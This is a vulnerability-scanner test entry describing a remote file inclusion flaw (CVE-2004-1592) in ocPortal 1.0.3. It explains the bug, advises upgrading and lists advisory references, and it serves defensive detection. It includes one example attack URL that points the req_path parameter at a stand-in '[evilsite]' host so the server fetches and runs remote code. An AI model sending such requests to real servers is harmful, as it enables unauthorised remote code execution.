Test Kennung:	1.3.6.1.4.1.25623.1.0.15468
Kategorie:	CGI abuses
Titel:	ocPortal Remote File Include
Zusammenfassung:	NOSUMMARY
Beschreibung:	Description: The remote host is running ocPortal, a content management system written in PHP. There is a bug in the remote version of this software which may allow an attacker to execute arbitrary commands on the remote host by using a file inclusion bug in the file 'index.php'. An attacker may execute arbitrary commands by requesting : http://www.example.com/index.php?req_path=http://[evilsite]/ which will make the remote script include the file 'funcs.php' on the remote site and execute it. Solution : Upgrade the newest version of this software Risk factor : High
Querverweis:	BugTraq ID: 11368 Common Vulnerability Exposure (CVE) ID: CVE-2004-1592 http://www.securityfocus.com/bid/11368 Bugtraq: 20041012 [hackgen-2004-#002] - Remote file inclusion bug in ocPortal 1.0.3. (Google Search) http://marc.info/?l=bugtraq&m=109763314312828&w=2 http://www.hackgen.org/advisories/hackgen-2004-002.txt http://secunia.com/advisories/12811/ XForce ISS Database: ocportal-reqpath-file-include(17699) https://exchange.xforce.ibmcloud.com/vulnerabilities/17699
Copyright	This script is Copyright (C) 2004 Tenable Network Security

Dies ist nur einer von 145615 Anfälligkeitstests in unserem Testpaket. Finden Sie mehr über unsere vollständigen Sicherheitsüberprüfungen heraus. Um einen gratis Test für diese Anfälligkeit auf Ihrem System durchlaufen zu lassen, registrieren Sie sich bitte unten.